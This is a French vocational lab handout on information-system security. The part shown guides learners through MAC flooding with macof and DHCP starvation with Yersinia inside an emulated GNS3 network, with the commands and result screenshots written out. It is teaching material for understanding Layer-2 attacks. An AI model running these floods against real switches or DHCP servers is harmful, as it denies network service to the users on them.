

TRAVAUX PRATIQUES – FILIÈRE INFRASTRUCTURE DIGITALE

M107 – Sécuriser un système d'information







SOMMAIRE



L. <u>DÉCOUVRIR LES NOTIONS DE BASE DE LA SÉCURITÉ DES SYSTÈMES</u> <u>D'INFORMATION (SI)</u>

- <u>Activité 1 : Mener l'attaque MAC Flooding</u>
- Activité 2 : Mener l'attaque DHCP Starvation

2. <u>PROTÉGER LE SI</u>

- Activité 1 :S'initier à l'utilisation du pare-feu iptables
- Activité 2 : Configurer iptables en utilisant une stratégie par défaut drop
 - Activité 3 : Sécuriser les systèmes Linux
 - Activité 4 : Sécuriser les systèmes Windows

3. <u>DÉCOUVRIR LA CRYPTOGRAPHIE ET LES SOLUTIONS DE GESTION</u> <u>ET DE PARTAGE DE CLÉS</u>

- <u>Activité 1 : Application des techniques de chiffrement classiques</u>
 - <u>Activité 2 : Chiffrement/déchiffrement symétrique</u>
 - Activité 3 : Génération de clé privée/public RSA
 - Activité 4 : Génération des certificats avec OpenSSL
- Activité 5 : Chiffrement/déchiffrement asymétrique des fichiers
 - Activité 6 : Signature des fichiers
 - Activité 7: Gestion du CRL (Certificate List Revocation)
 - 4. S'INITIER À L'AUDIT DE SÉCURITÉ DES SI
 - <u>Activité 1 : Identification des vulnérabilités d'un système</u>
- Activité 2 : Exploitation des failles relatives au protocole Telnet

.

<u>Activité 3 : Exploitation des failles relatives au protocole FTP</u>

MODALITÉS PÉDAGOGIQUES











DÉCOUVRIR LES NOTIONS DE BASE DE LA SÉCURITÉ DES SYSTÈMES D'INFORMATION (SI)

Dans ce module, vous allez :

- Apprendre à utiliser des outils implémentés dans Kali Linux pour lancer des attaques de sécurité
- Réaliser des attaques de sécurité exploitant les vulnérabilités des protocoles du modèle OSI







ACTIVITÉ 1

MENER L'ATTAQUE MAC FLOODING

Compétences visées :

- Utiliser des outils avancées pour lancer des attaques de sécurité
- Réaliser une attaque externe exploitant les vulnérabilités de la couche 2 du modèle ISO

Recommandations clés :

 Maitriser le principe de l'attaque par inondation d'adresses MAC (MAC flooding attack)





CONSIGNES

Pour le formateur

- L'apprenant doit être capable de mettre en place l'environnement de travail décrit dans l'énoncé
- Il doit être aussi en mesure de réaliser l'attaque MAC flooding et d'observer les résultats de cette attaque

Pour l'apprenant

- Il est recommandée de maitriser le principe de l'attaque MAC flooding et ses résultats
- Il est recommandée également de suivre les étapes décrites dans l'énoncé pour pouvoir mener l'attaque avec succès

Conditions de réalisation :

- GNS3. Lien de téléchargement : <u>https://www.gns3.com/software/download</u>
- VirtualBox. Lien de téléchargement : <u>https://www.virtualbox.org/wiki/Downloads</u>
- Une machine Virtuelle Kali Linux 2022.1. Lien de téléchargement : <u>https://kali.download/virtual-images/kali-2022.1/kali-linux-2022.1-virtualbox-amd64.ova</u>
- Un fichier c3725-adventerprisek9-mz.124-15.T14.bin Lien de téléchargement : <u>https://drive.google.com/open?id=1DXsej1M3grZCo9l5O41Jh2jUGpnmCOR5</u>

Critères de réussite :

- Réaliser le même environnement du travail décrit dans l'énoncé
- Exécuter avec succès l'attaque de sécurité
- Visualiser que la table MAC du commutateur ait été bien inondée suite à l'exécution de l'attaque



Étape 1 : Mise en place de l'environnement de travail

- L'objectif principal de cette activité est de tester l'exécution d'une attaque MAC Flooding. Pour ce faire, nous allons émuler une topologie réseau dans GNS3 à partir de laquelle nous allons essayer de tester la réalisation de cette attaque.
- Graphical Network Simulator-3 (GNS3) qui est un émulateur réseau permettant la combinaison de dispositifs virtuels pour émuler des réseaux complexes.
- À l'aide de GNS3, nous pourrons non pas seulement émuler une topologie du réseau, mais aussi simuler l'exécution des attaques de sécurité en émulant les dispositifs et les outils qui peuvent être utilisées par des pirates.
- Dans cette étape, vous êtes chargés de télécharger et installer GNS3, puis ouvrir un nouveau projet, intitulé Projet1. Ci-dessous, l'interface d'accueil de GNS3.

😤 GNS3		- U X	😢 Project	?	×
Ele Ede	t Sew Control Node Annotate Jook Help				
: 📂	🖿 : O 📓 >_ 🕨 🗍 📰 C : 🗹 🖾 🗇 🗸 🔓 Q.	Q. 🖻	New project Projacta library		_
	Please create a project Control Contr	Topology Summary (7) (R Node Concole Servers Summary (2) (R DESCTOP-INSECEP CPU 28.2%, RAM (3) (R) (8) (9) (9) (9) (9) (9) (9) (9	Image: Second project Image: Second project <td< th=""><th>Cence</th><th></th></td<>	Cence	
	Interface d'accueil de GNS3		_		



Étape 2 : Préparation de la machine virtuelle Kali Linux

- Kali Linux est une distribution Linux open source basée sur Debian. Elle est orientée vers diverses tâches de sécurité de l'information, telles que les tests d'intrusion, la recherche en sécurité, l'informatique judiciaire et l'ingénierie inverse.
- Kali Linux implémente plusieurs outils permettant de tester l'exécution de certaines attaques de sécurité.
- Dans cette étape, vous êtes chargés de télécharger le fichier kali-linux-2022.1-virtualbox-amd64.ova, puis l'importer dans VirtualBox pour créer une machine virtuelle Kali linux.







Importation du fichier kali-linux-2022.1-virtualbox-amd64.ova sous VirtualBox

Machine Virtuelle Kali Linux crée sous VirtualBox



Étape 2 : Préparation de la machine virtuelle Kali Linux

- Il vaut mieux mettre à jour le système d'exploitation Kali Linux, pour pouvoir installer les outils nécessaires pour la réalisation des activités.
- Pour ce faire, tapez dans le terminal la commande: sudo apt update



Remarques

- Les identifiants de la machine Kali sont les suivants :
 - Login : kali
 - Mot de passe : kali





Étape 2 : Préparation de la machine virtuelle Kali Linux

- Installez l'outil Macof dans la machine virtuelle Kali en tapant la commandes suivante dans le terminal : sudo macof
 - Cet outil nous servira par la suite pour l'exécution de l'attaque MAC Flooding
- Après avoir terminé l'installation de l'outil Macof, modifiez le mode d'accès réseau en "Aucune connexion"
 - Cela est requis pour que vous puissiez par la suite connecter cette machine à la topologie réseau qui sera créée dans l'émulateur GNS3 dans l'étape suivante

🛞 kali-linux-2022.1-virtualk	ox-amd64 - Paramètres	?	×
Général	Réseau		
Système	Adapter 1 Adapter 2 Adapter 3 Adapter 4		
Affichage	Activer l'interface réseau		
Stockage	Aode d'accès réseau : Aucune connexion 💌		_
i Son	Nom : Avancé		*
Réseau			
Ports séries			
🔗 USB			
Dossiers partagés			
Interface utilisateur			
	OK	Acro	uler

Mode d'accès réseau de la VM Kali

T

PARTIE



Étape 3 : Émulation de la topologie de réseau

- Après avoir installé GNS3, nous allons émuler une topologie réseau à partir de laquelle, nous testerons l'attaque MAC Flooding.
- La topologie réseau à émuler est illustrée dans la figure ci-dessous.





- 1. Télécharger le fichier c3725-adventerprisek9-mz.124-15.T14.bin, qui représente une image Cisco IOS permettant l'émulation d'un commutateur (Switch).
 - Créer manuellement une nouvelle Template de commutateur à partir du fichier c3725-adventerprisek9-mz.124-15.T14.bin.Pour ce faire, cliquez sur
 "+NewTemplate"→"Manually create a new template"→ "IOS Routers" → "New". Sélectionnez ensuite le fichier c3725-adventerprisek9-mz.124-15.T14.bin et
 complétez le processus de création de la Template du commutateur (sous le nom EtherSwitch);
- 3. Importer la machine virtuelle Kali Linux. Pour ce faire, cliquez sur Edit→preferences →VirtualBox→VirtualBOX VMs→New ;
- 4. Établir les liens requis pour créer la topologie comme illustrée à la figure ci-dessus ;
- 5. Démarrer les équipements de la topologie réseau en cliquant sur le boutant Start/Resume all nodes.

PARTIE



- L'attaque Mac Flooding consiste à inonder un commutateur avec des paquets ARP falsifiés, chacun contenant différentes adresses MAC source. Pour exécuter une telle attaque, vous êtes chargés de :
 - 1. Afficher le nombre actuel d'entrées dans la table d'adresses MAC du commutateur. Pour ce faire, exécuter la commande suivante à partir du terminal du commutateur : **#show mac-address-table count ;**
 - 2. Utiliser l'outil "macof" dans la machine Kali Linux pour inonder le commutateur. Vous pouvez utiliser la commande suivante depuis le terminal de la machine Kali : sudo macof -i eth0 ;



- L'outil **macof** permet d'inonder un commutateur de réponses MAC falsifiées à une vitesse élevée.
- L'option -i suivie du nom de k'interface (eth0, par exemple) permet de spécifier l'interface de sortie du flux de de réponses MAC falsifiées.
- 3. Vérifier l'exécution de l'attaque en :
 - utilisant Wireshark pour analyser le trafic généré par l'attaquant ;
 - affichant le nombre actuel d'entrées dans la table d'adresses MAC du commutateur en utilisant la commande suivante : **# show mac-address-table** count.
- 4. Arrêter l'exécution de l'attaque.

T

PARTIE



Étape 3 : Émulation de la topologie de réseau

Pour créer manuellement une nouvelle Template d'un commutateur à partir du fichier c3725-adventerprisek9-mz.124-15.T14.bin, sélectionnez l'icône "+New template "

New template

Une nouvelle fenêtre intitulée **New template** s'ouvre, sélectionnez alors **Manually create a new template.** Cliquez ensuite sur **Next**.

v template Please select how you want to create a new template Install an applance from the GRCG server (recommended) Import an applance file (gncSa extension) Banually create a new template	
Install an applance from the GASS server (recommended) Import an applance file (.gnsSa extension) Manually create a new template	
(mont an appliance file (ups2a extension) Manually create a new template	
Manually create a new template	
< Back Next > Cance	

Une nouvelle fenêtre intitulée **Preferences** s'ouvre, sélectionnez alors **IOS Routers**, et parcourez le chemin du fichier c3725-adventerprisek9-mz.124-15.T14.bin. Cliquez ensuite sur **Next**.

General	IOS router templates
Server	
GNS3 VM	
Packet capture Bullt-In Ethernet hubs Ethernet switches	New KDS router template ? × 105 image Please choose an 125 image.
Cloud nodes	O Détino Insoe 🛞 New Insoe
VPCS nodes	105 weat
Dynamips IOS routers	CitUsers(HPIGH63/inagesU05)c3725-od-enterprisel9-nz.124-15.714/inage growsz
IDS on UNIX IOU Devices QEMU Qemu VMs VirtualBox VirtualBox VMs VMware VMware VMs Docker Docker containers	
	<gal (gat="")="" cand<="" td=""></gal>
	New Decompress Copy Edit Delete

PARTIE 1



Étape 3 : Émulation de la topologie de réseau

Une nouvelle fenêtre intitulée **New IOS router** s'ouvre, nommez-la template du commutateur **EtherSwitch**. Sélectionnez la case **This is an EtherSwitch** router. Cliquez ensuite sur **Next**.

New IOS router - c3725-adventerprisek9-mz.124-15.T14.image ? X									
Name and platform Please choose a descriptive name for this new IOS router and verify the platform and chassis.									
Name:	EtherSwitch								
Platform:	c3725					-			
Chassis:						-			
✓ This is	an EtherSwitch router								
			(Peule	Neutra	Com				
			< DBCK	ivext >	Cano	ei .			

Attribuez une capacité RAM, il est possible d'utiliser la valeur par défaut 128Mo. Cliquez ensuite sur **Next**.

🛞 New IOS router - c3725-adv	enterprisek9-mz.124-15.T14.	.image			?	×
Memory Please check the amount o prevent IOS from starting.	fmemory (RAM) that you alloc	ate to IOS. Too	o much or not eno	ugh RAM could	0	τ
Default RAM: 128 MiB						\$
Check for minimum and maximur	n RAM requirement					_
			< <u>B</u> ack	Next >	Cano	:el

PARTIE 1



Étape 3 : Émulation de la topologie de réseau

Sur la page **Network adaptaters**, il vaut mieux ne pas modifier la configuration par défaut. Cliquez ensuite sur **Next**.

🖁 New 🛛	IOS router - c3725-adventerprisek9-mz.124-15.T14.image	?	×			
Network adapters Please choose the default network adapters that should be inserted into every new instance of this router.						
slot 0:	GT96 100-FE		•			
slot 1:	NM-16ESW		-			
slot 2:			•			
slot 3:			-			
slot 4:			-			
slot 5:			-			
slot 6:			-			
	< Back Next >	Cano	el			

Sur la page **Idle-PC**, il vaut mieux ne pas modifier la configuration par défaut. Cliquez ensuite sur **Finish**.

🛞 New IOS router - c3725-adventerprisek9-mz.124-15.T14.image	?	×
Idle-PC An idle-pc value is necessary to prevent IOS to use 100% of your processor or one of its cores.	2	*~
Idle-PC: 0x60c09aa0	Idle-PC fin	nder
< <u>B</u> ack <u>F</u> inish	Cano	cel

Activité 1 Correction



Étape 3 : Émulation de la topologie de réseau

Comme illustré dans la figure ci-dessous, la template **EtherSwitch** a été créée avec succès.



T

PARTIE



Étape 3 : Émulation de la topologie de réseau

Pour créer manuellement une nouvelle Template d'une machine à partir d'une machine virtuelle créée sous VirtualBox, sélectionnez l'icône + New template

Une nouvelle fenêtre intitulée **New template** s'ouvre, sélectionnez alors Manually create a new template. Cliquez ensuite sur Next.

New template	?	×
New template Please select how you want to create a new template		
Install an appliance from the GNS3 server (recommended)		
 O gruport an appliance file (.gns3a extension) 		
<u>Manualy create a new template</u>		
× Had	Next 5	and .
< 1908	Diext >	ance

Une nouvelle fenêtre intitulée **Preferences** s'ouvre, sélectionnez alors VirtualBox VMs, et sélectionnez la VM Kali. Cliquez ensuite sur Next.

🚯 Preferences	7	×
General Server GNS3 VM Packet capture - Built-in Ethernet hubs Ethernet switches Cloud nodes - VPCS VPCS nodes - VPCS nodes - VPCS - VPCS nodes - VPCS - VPCS nodes - VPCS - VPC	VirtualBox VM templates New VirtualBox VM template New VirtualBox VM template Next VirtualBox VM tem	
	Sew Odt Delete	
	OK Cancel App	ly



Étape 3 : Émulation de la topologie de réseau

Terminez le processus de création en cliquant sur **Apply** puis **Ok**.

General	VirtualBox VM templates			
Server GNS3 VM Packet capture * Built-in Ethernet hubs Ethernet switches Cloud nodes * VPCS VPCS nodes * Dynamips IOS routers * IOS on UNIX IOU Devices * QEMU Qemu VMs * VirtualBox VMs * VirtualBox VMs * VMware VMs * Docker Docker containers	kali-linux-2022.1-virtualbox-amd64	General Templete name: Templete Name: RAM: Server: Headless mode enabled: On dose United base Wit: Console type: Auto start console: Network Adapter: Name format: Use any adapter: Type:	kaf-linus-2022.1-virtualbox-amd64 rome kaf-linus-2022.1-virtualbox-amd64 2048 DESKTOP-IM8800P False powet_off False 1 Ethermet(0) False Intel PRO/1000 MT Desktop (82540EM)	

Comme illustré dans la figure ci-dessous, la template Kali a été créée avec succès.



18



Étape 3 : Émulation de la topologie de réseau

Importez les équipements nécessaires dans l'espace de travail, les nommez, puis établissez les liens requis pour créer la topologie comme illustré à la figure cidessus.



Comme illustré dans la figure ci-dessous, tous les équipements sont actifs et prêts à être utilisés.



Cliquez sur le bouton **Start/Resume all nodes**. Une fenêtre de confirmation s'ouvre, cliquez alors sur **Yes**.



T

PARTIE



- Après avoir mis en place la topologie réseau demandée et avant de commencer la réalisation de l'attaque de sécurité, il faut vérifier le nombre actuel d'entrées dans la table d'adresses MAC du commutateur (nommé Switch) dans notre topologie
- Pour ce faire, double cliquez sur le commutateur afin d'ouvrir le terminal du commutateur
- Dans le terminal du commutateur, exécutez la commande suivante : show mac-address-table count
- Le résultat de la commande exécutée (c.à.d, le nombre actuel d'entrées dans la table d'adresses MAC du commutateur) est affiché dans la figure ci-dessous
- Selon le résultat obtenu :
 - Nombre actuel d'entrées dans la table d'adresses MAC est égal à 1
 - Nombre maximum d'entrées dans la table d'adresses MAC est égal à 8192

🖉 Switch		_	×
To create vlans use the command "vlan After creating all desired vlans use "	database" in exec mode exit" to apply the config		^
To view existing vlans use the command	"show vlan-switch brief"		
Alias(exec) : vl - "show vlan-sw Alias(configure): va X - macro to add Alias(configure): vd X - macro to dele ***********************************	itch brief" command vlan X te vlan X ***************************		
Switch# Switch#show mac-address-table count			
NM Slot: 1			
Dynamic Address Count:	1		
Secure Address (User-defined) Count:	0		
Static Address (User-defined) Count:	1		
Total MAC addresses:	2		
Maximum MAC addresses:	8192		



- Lancez l'exécution de l'attaque MAC Flooding depuis la machine Kali, en accédant à son terminal et en tapant la commande : sudo macof -i eth0
 - N'arrêtez pas l'exécution de l'attaque jusqu'à ce que vous puissiez examiner les résultats de cette attaque

└──(kali⊛kali)-[~]
└─\$ <u>sudo</u> macof -i eth0
[sudo] password for kali:
ca:2e:99:29:85:f8 2e:84:57:25:aa:1c 0.0.0.0.19471 > 0.0.0.0.18943: S 21353837
14:2135383714(0) win 512
4f:c4:76:16:3f:92 c1:97:10:0:f7:7a 0.0.0.0.20462 > 0.0.0.0.4347: S 2123673241
:2123673241(0) win 512
cd:ff:60:8:fc:20 fe:8f:94:54:b9:4c 0.0.0.0.22434 > 0.0.0.0.45375: S 632848966
:632848966(0) win 512
3b:6f:2f:6:63:0 62:2a:fc:3d:f1:1e 0.0.0.0.33411 > 0.0.0.0.26907: S 869447198:
869447198(0) win 512
ea:87:9f:7e:b6:c4 79:db:32:17:5b:9e 0.0.0.0.15883 > 0.0.0.0.3997: S 151179514
4:1511795144(0) win 512
48:76:bf:66:12:8c 87:5a:ad:31:9a:41 0.0.0.0.40049 > 0.0.0.0.45166: S 11022067
51:1102206751(0) win 512
ea:c0:5c:5f:3d:e af:97:23:2d:a5:8 0.0.0.0.10392 > 0.0.0.0.12209: S 1924028492



- Depuis le terminal du commutateur, exécutez de nouveau la commande show mac-address-table count afin d'examiner le nombre actuel d'entrées dans la table d'adresses MAC du commutateur
- Le résultat de la commande exécutée (c.à.d, le nombre actuel d'entrées dans la table d'adresses MAC du commutateur) est affiché dans la figure ci-dessous
- Selon le résultat obtenu, vous pouvez remarquer que le nombre actuel d'entrées dans la table d'adresses MAC est passé de la valeur 1 à 8188 qui est une valeur très proche du nombre maximum d'entrées dans la table d'adresses MAC
- Nous pouvons donc conclure que la table MAC est inondée avec succès





Il est aussi possible d'analyser le trafic généré par la machine Kali en utilisant l'outil d'analyse Wireshark, qui est installé par défaut avec GNS3.

Pour lancer Wireshark, il suffit de cliquer avec le bouton droit sur le câble liant la machine Kali et le commutateur. Sélectionnez ensuite l'option **Start capture**.



Une fenêtre de capture de paquets s'ouvre comme illustré dans la figure cidessous, cliquez alors sur **OK**.

😵 Packet capture	i	? ×
Link type: Ethernet		•
File name: Switch_FastEthernet11_to_Pirate_Ka	i_Ethernet0	
\checkmark Start the capture visualization program		
	ОК	Cancel



La figure ci-dessous est un extrait de la capture du trafic collectée lors de l'exécution de l'attaque MAC Flooding.

40.	1 10	1. I. F. (F). (1/1) D.	1 K I FU 101					~
Captur	re en cours de - [Sw	vitch FastEthernet I/ I to Pir	ate_Kall Ethernet0]			_	- 🗆	~
Fichier E	Editer Vue Alle	r Capture Analyser S	Statistiques Telephonie	Wireless O	utils Aide			
	0 R R X) 🛱 I 🍳 👄 🔿 🕾 🁔	🛚 🕹 🥃 📃 🔍 Q	Q II				
arp								+
No.	Time	Source	Destination	Protocol	Length Info			, ,
1025	21.823801	117.97.191.29	139.9.246.55	IPv4	60			
1025	21.823801	127.176.232.45	250.126.86.80	IPv4	60			
1025	21.823801	30.220.38.93	112.161.121.37	IPv4	60			
1025	21.824785	4.189.149.25	172.81.150.126	IPv4	60			
1025	21.824785	104.37.70.12	100.233.115.66	IPv4	60			
1025	21.824785	171.83.211.8	159.167.87.103	IPv4	60			
1025	21.824785	188.185.81.14	116.5.98.7	IPv4	60			
1025	21.825753	169.184.227.35	2.163.37.35	IPv4	60			
1025	21.825753	123.4.79.126	217.29.236.104	IPv4	60			- 1
1025	21.825753	24.14.238.88	156.205.155.94	IPv4	60			
1025	21.825753	219.79.205.30	16.192.23.116	IPv4	60			
1025	21.825753	80.164.60.14	236.223.206.126	IPv4	60			
1025	21.825753	157.201.133.48	19.131.156.86	IPv4	60			
<	00.000700	100 101 100 10	A 45 C 4 C 40	TD 4				>
	A. CO history of		hat a sector of (40)		later from 14.0			
> Frame	1: 60 bytes on	1 Wire (480 Dits), 60	bytes captured (480	0 D1TS) ON :	Intertace -, 10 0			- (
2 Etherr	1et 11. Spc: 20	1:05:00:78:CT:05 (70:	02 00 45 00 "V	* *	:/T:/h:P/ 161://:50	:/T:/b:e/)		
0000 81	.22587726e	2 20 05 eD 2a CT 03 10 40 06 0f 71 d7 40	22 39 35 fc					
0020 49) 16 25 aa fb 9	of 3e ae bf 2a 00 00	00 00 50 02 I·%··	·>· ·*···F	,).			
0030 02	00 16 34 00 0	0 00 00 00 00 00 00	4.					
0 7	Address Resolution P	Protocol: Protocol			Paquets: 130516 · A	ffichés: 130516 (100.0%)	Profile: Defa	ult



ACTIVITÉ 2

MENER L'ATTAQUE DHCP STARVATION

Compétences visées :

- Utiliser des outils avancés pour lancer des attaques de sécurité
- Réaliser une attaque externe exploitant les vulnérabilités de la couche 2 du modèle ISO

Recommandations clés :

• Maitriser le principe de l'attaque DHCP starvation





CONSIGNES

Pour le formateur

- L'apprenant doit être capable de mettre en place l'environnement de travail décrit dans l'énoncé
- Il doit être aussi en mesure de réaliser l'attaque DHCP Starvation et d'observer les résultats de cette attaque

Pour l'apprenant

- Il est recommandée de maitriser le principe de l'attaque DHCP Starvation et ses résultats
- Il est recommandée également de suivre les étapes décrites dans l'énoncé pour pouvoir mener cette attaque avec succès

Conditions de réalisation

- L'environnement de travail relatif à l'activité 1 a été bien mis en place et configuré
- Une machine Virtuelle Ubuntu (ou n'importe quelle machine virtuelle)
 Lien de téléchargement de la VM Ubuntu : <u>https://www.osboxes.org/ubuntu/#ubuntu-21-10-info</u>
- Un fichier c3725-adventerprisek9-mz.124-25d.bin. Lien de téléchargement : <u>http://network3000.persiangig.com/p/Cisco/ios/c3725-adventerprisek9-mz.124-25d.bin</u>

Critères de réussite

- Réaliser l'environnement de travail décrit dans l'énoncé
- Exécuter avec succès l'attaque de sécurité



Étape 1 : Préparation des machines virtuelles

- L'objectif principal de cette activité est de tester l'exécution d'une attaque DHCP starvation.
- Pour ce faire, nous allons émuler une topologie réseau dans GNS3 à partir de laquelle nous allons essayer de tester l'attaque DHCP starvation.
- Dans cette étape, vous êtes chargés de préparer les machines virtuelles qui vont être utilisées par la suite pour émuler la topologie réseau de cette activité.
- La première tâche consiste à installer l'outil yersinia dans la machine virtuelle Kali (utilisée dans l'activité précédente) en tapant la commandes suivante dans le terminal : sudo apt install yersinia
 - Cet outil nous servira par la suite pour l'exécution de l'attaque DHCP Startvation

T

PARTIE

Remarques

Pour connecter la machine virtuelle Kali à Internet et pouvoir installer l'outil yersinia, il faut choisir comme mode d'accès réseau **"Nat"** ou **"Accès par pont"**.

• Après avoir terminé l'installation, modifiez le mode d'accès réseau de la machine virtuelle en **"Aucune connexion".**

[—(kali⊛kali)-[+]
L_\$ <u>sudo</u> apt install yersinia
[sudo] password for kali:
Reading package lists Done
Building dependency tree Done
Reading state information Done
The following NEW packages will be installed: yersinia
0 upgraded, 1 newly installed, 0 to remove and 567 not upgraded.
Need to get 160 kB of archives.
After this operation, 447 kB of additional disk space will be used.
Get:1 http://http.kali.org/kali kali-rolling/main amd64 yersinia amd64 0.8.2-
2.1+b1 [160 kB]
Fetched 160 kB in 1s (145 kB/s)
Selecting previously unselected package yersinia.
(Reading database 289199 files and directories currently installed.)
Preparing to unpack/yersinia_0.8.2-2.1+b1_amd64.deb



- Après avoir préparé la machine virtuelle Kali Linux, il faut préparer une deuxième machine virtuelle qui va jouer le rôle d'un client DHCP dans la topologie réseau émulée.
- Dans cette activité, il est possible d'utiliser, par exemple, une machine virtuelle Ubuntu.
 - Il est possible de télécharger un disque virtuel Ubuntu à partir du lien suivant https://www.osboxes.org/ubuntu/#ubuntu-21-10-info
 - En partant de ce disque virtuel, il est possible de créer une machine virtuelle Ubuntu, en suivant les étapes suivantes :
 - 1. Comme illustré dans la figure ci-contre, créez une nouvelle machine virtuelle :

Remarques

T

PARTIE

- Les identifiants de la machine virtuelle Ubuntu sont les suivants :
 - Login : osboxes
 - Mot de passe : osboxes.org

			?	×
 Crée une machine v 	rtuelle			
Nom et système	d'exploitation			
Veuillez choisir un nom e type de système d'expl choisirez sera repris au	t un dossier pour la nouvelle r itation que vous envisagez d' travers de VirtualBox pour ide	nachine virtuelle et s y installer. Le nom q ntifier cette machine	élection ue vous :.	ner le
Nom :	Ubuntu			
Dossier de la machine :	E: \Telechargement \Ubun	tu 2		\sim
Type :	Linux		•	⁶⁴ ∕∕
Version :	Ubuntu (64-bit)		•	
	Mode expert	Suivant >	Annu	iler

28

T

PARTIE



Étape 1 : Préparation des machines virtuelles

2. Sélectionnez une taille mémoire pour la machine virtuelle, par exemple 1 Go. Cliquez ensuite sur **Suivant**.

 Sélectionnez l'option « Utiliser un fichier de disque virtuel existant », et parcourez ensuite le chemin du disque virtuel Ubuntu téléchargé. Cliquez ensuite sur Créer. La machine virtuelle sera créée avec succès.





Étape 2 : Émulation de la topologie de réseau

- Après avoir préparé les deux machines virtuelles, nous allons émuler une topologie réseau à partir de laquelle, nous testerons l'attaque DHCP starvation.
- La topologie réseau à émuler est illustré dans la figure ci-dessous



- Pour mettre en place une telle topologie, vous êtes chargés de :
 - 1. Ouvrir un nouveau projet, nommé Projet 2;
 - 2. Télécharger le fichier c3725-adventerprisek9-mz.124-25d.bin, qui représente une image Cisco IOS permettant l'émulation d'un routeur (Router) ;
 - Créer manuellement une nouvelle Template d'un routeur à partir du fichier fichier c3725-adventerprisek9-mz.124-25d.bin. Pour ce faire, cliquez sur
 "+NewTemplate"→ "Manually create a new template"→ "IOS Routers" → "New". Sélectionnez ensuite le fichier c3725-adventerprisek9-mz.124-25d.bin et compléter le processus de création de la Template du routeur (sous le nom Router) ;
 - 4. Importer la machine virtuelle Ubuntu. Pour ce faire, cliquez sur Edit→preferences →VirtualBox→VirtualBOX VMs→New;
 - 5. Établir les liens requis pour créer la topologie comme illustré à la figure ci-dessus ;
 - 6. Démarrer les équipements de la topologie réseau en cliquant sur le boutant Start/Resume all nodes.



Étape 3 : Configuration du serveur DHCP

- L'attaque DHCP starvation consiste à inonder un serveur DHCP avec de fausses requêtes DHCP. Pour mener cette attaque, la machine pirate (Kali Linux) diffusera simultanément un grand nombre de requêtes DHCP avec des adresses MAC usurpées, de sorte que les adresses IP disponibles dans la portée du serveur DHCP seront épuisées dans un très court laps de temps.
- Pour mener une telle attaque, vous devez d'abord configurer le routeur R1 en tant que serveur DHCP. Pour ce faire vous êtes chargés de :
 - 1. Ouvrir le terminal du routeur R1 en effectuant un double clique sur le routeur R1 ;
 - 2. Activer l'interface appropriée (FastEthernet 0/0 dans notre exemple) et lui attribuer une adresse IP (10.0.0.1, par exemple). Pour ce faire, exécutez les commandes suivantes depuis le terminal de R1 :
 - R1# Configure terminal
 - R1(config)# interface FastEthernet 0/0
 - R1(config-if)#ip address 10.0.0.1 255.0.0.0
 - R1(config-if)#no shutdown
 - R1(config-if)#exit
 - Créer le pool DHCP d'adresses IPs qui seront distribués aux clients DCHP légitimes demandant des adresses. Ça sera le pool d'adresses ciblés dans cette attaque.
 Pour ce faire, exécutez les commandes suivantes depuis le terminal de R1 ;
 - R1(config)#service dhcp
 - R1(config)#ip dhcp pool pool-1



Étape 3 : Configuration du serveur DHCP

- 4. Spécifier l'adresse réseau (10.0.0.0, dans notre exemple) pour le pool d'adresses créé. Pour ce faire, exécutez la commande suivantes depuis le terminal de R1 : R1(dhcp-config)#network 10.0.0.0;
- 5. Spécifier l'interface Fastethernet0/0 comme passerelle par défaut pour le réseau créé en tapant la commande : R1(dhcp-config)#default-router 10.0.0.1;
- 6. Indiquer les adresses exclues pour les supprimer du pool d'adresses qui peuvent être attribuées aux clients DHCP. Cela pourrait être utilisé pour protéger les affectations statiques qui peuvent exister (passerelle par défaut, serveurs, imprimantes, etc...). Pour ce faire, tapez les commandes suivantes :
 - R1(dhcp-config)#lease 1
 - R1(dhcp-config)#exit
 - R1(config)#ip dhcp excluded-address 10.0.0.0
 - R1(config)#exit
- 7. Vérifier la configuration effectuée à l'aide de la commande suivante : R1#show ip pool dhcp pool-1 ;
- 8. Enregistrer la configuration effectuée en tapant la commande suivante : R1# copy running-config startup-config ;



Étape 4 : Vérification du bon fonctionnement du serveur DHCP

- Afin de vérifier si le serveur DHCP fonctionne correctement, vous devez vérifier si les adresses IP attribuées à la machine du pirate ainsi qu'à la machine victime (client dhcp) appartiennent au pool assignable du serveur DHCP. Pour ce faire, vous êtes chargés d'effectuer les tâches suivantes :
 - 1. Ouvrez l'invite de commande de la machine Ubuntu ;
 - 2. Libérez la configuration IP actuelle de la machine Ubuntu en tapant la commande : sudo ;dhclient -r ;
 - 3. Demandez une nouvelle adresse IP en tapant la commande : sudo dhclient ;
 - 4. Vérifiez l'attribution de l'adresse en exécutant les commandes suivantes :
 - Depuis le terminal de la machine Ubuntu : sudo ip address show
 - Depuis le terminal du routeur : R1#show ip DHCP binding
 - 5. Répétez les étapes précédentes (de $1 \rightarrow 4$) pour la machine Pirate.



Étape 5 : Exécution de l'attaque DHCP Starvation

- Pour exécuter l'attaque DHCP starvation, il est possible d'utiliser l'outil Yersinia.
 - Remarques
 - Yersinia est un outil permettant la réalisation des attaques de couche 2. Il est conçu pour tirer parti de certaines faiblesses des différents protocoles réseau.
 - L'outil Yersinia peut être installé dans une machine Kali en utilisant la commande : sudo apt install yersinia
- Dans cette étape, vous êtes essentiellement chargés d'exécuter l'attaque et de visualiser ses résultats. Pour ce faire, il est recommandé de suivre les étapes suivantes :
 - 1. Lancez Yersinia en exécutant la commande suivante dans le terminal de la machine Kali : sudo yersinia –G ;
 - 2. Depuis l'interface de l'outil Yersinia, cliquez sur : Launch Attack→ DHCP → Sending DISCOVER packet→ OK ;
 - 3. Lancez ensuite Wireshark dans GNS3 pour analyser les paquets DHCP DISCOVER envoyés ;
 - 4. Essayez de voir les dommages qui en résultent et de voir la disponibilité restante du pool d'adresses, en suivant les étapes suivantes :
 - i. Essayez de libérer et de renouveler l'attribution de l'adresse IP du client DHCP (machine Ubuntu) en tapant les commandes suivantes :
 - i. sudo dhclient -r
 - ii. sudo dhclient
 - ii. Utilisez la commande suivante dans le routeur pour voir le pool restant : R1#show ip pool dhcp pool-1
 - iii. Utilisez la commande suivante dans le routeur pour voir l'ensemble des adresses affectées : R1# show ip dhcp binding
 - 5. Terminez l'exécution de l'attaque en tapant la commande suivante : #yersinia –I.



Étape 2 : Émulation de la topologie de réseau

Cette interface illustre l'ouverture d'un nouveau projet, intitulé Projet2. Ce projet sera utilisé pour émuler la topologie réseau demandée dans cette activité.

ew project	Projects library	
ew project	t	
Name:	Projet 2	
Location:	C:\Users\HP\GNS3\projects\Projet 2	Browse
pen projec	ct	
Open a p	project from disk	

T

PARTIE



Étape 2 : Émulation de la topologie de réseau

